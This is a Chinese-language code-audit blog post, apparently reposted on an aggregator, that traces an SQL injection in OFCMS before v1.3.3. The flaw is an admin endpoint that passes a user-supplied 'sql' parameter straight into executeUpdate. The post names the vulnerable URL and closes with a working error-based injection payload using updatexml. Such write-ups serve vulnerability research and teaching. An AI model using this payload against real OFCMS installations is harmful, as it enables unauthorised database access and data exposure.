[JAVA代码审计]OFCMSv1.3.3之前存在SQL注入漏洞
Posted Y4tacker
tags:
篇首语:本文由小常识网(cha138.com)小编为大家整理,主要介绍了[JAVA代码审计]OFCMSv1.3.3之前存在SQL注入漏洞相关的知识,希望对你有一定的参考价值。
写在前面
好久没碰过Javaweb了,但是感觉自己配环境的时候还是满熟练的哈,这一篇算是超级简单那种了,就开启我的Java审计之旅吧
环境配置
我这里是老古董无敌兼容版本Jdk1.8,开启配置
分析
漏洞点在http://url/admin/system/generate/create.json?sqlid=
,在com/ofsoft/cms/admin/controller/system/SystemGenerateController.java
,能看到这里直接接收了sql
参数
看看传参方式,跟踪getpara函数,只是一个get请求罢了
再来跟踪update方法
public static int update(String sql) {
return MAIN.update(sql);
}
再跟进
public int update(String sql) {
return this.update(sql, DbKit.NULL_PARA_ARRAY);
}
终于到了最关键的地方吧,这里...
是可变长参数,也就是相当于一个数组,能够传入0个至n个参数,好久没碰java有点忘了,一般可以用foreach取得每个参数
public int update(String sql, Object... paras) {
Connection conn = null;
int var4;
try {
conn = this.config.getConnection();
var4 = this.update(this.config, conn, sql, paras);
} catch (Exception var8) {
throw new ActiveRecordException(var8);
} finally {
this.config.close(conn);
}
return var4;
}
看到先建立数据库链接,再执行update(也太多update了,吐槽,委屈
int update(Config config, Connection conn, String sql, Object... paras) throws SQLException {
PreparedStatement pst = conn.prepareStatement(sql);
config.dialect.fillStatement(pst, paras);
int result = pst.executeUpdate();
DbKit.close(pst);
return result;
}
我们甚至能看到这里还是高科技用了预编译可惜没用,我们传入的完整sql语句直接被执行了,没有一点点过滤,真拉跨,当然既然是update那就直接配合报错注入吧,payload是
update of_cms_link set link_name=updatexml(1,concat(0x7e,(user())),0) where link_id = 4
以上是关于[JAVA代码审计]OFCMSv1.3.3之前存在SQL注入漏洞的主要内容,如果未能解决你的问题,请参考以下文章